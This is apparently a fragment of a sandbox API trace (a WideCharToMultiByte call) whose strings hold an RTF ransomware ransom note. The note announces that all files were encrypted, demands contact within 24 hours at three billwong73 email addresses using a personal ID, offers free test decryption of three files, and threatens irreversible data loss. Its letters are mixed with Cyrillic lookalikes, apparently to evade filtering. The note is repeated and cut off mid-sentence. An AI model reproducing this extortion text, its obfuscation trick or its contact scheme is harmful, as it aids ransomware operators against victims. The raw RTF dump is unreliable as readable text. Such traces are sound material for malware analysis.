\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf 